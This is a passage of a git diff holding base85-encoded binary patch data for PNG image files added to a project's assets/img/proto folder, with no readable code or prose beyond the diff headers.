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 I8MBc80$D~+jQ{`u literal 0 HcmV?d00001 diff --git a/assets/img/proto/image 3.png b/assets/img/proto/image 3.png new file mode 100644 index 0000000000000000000000000000000000000000..c153e540221d5ac1266a8d47bf30c37a8f546391 GIT binary patch literal 48003 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 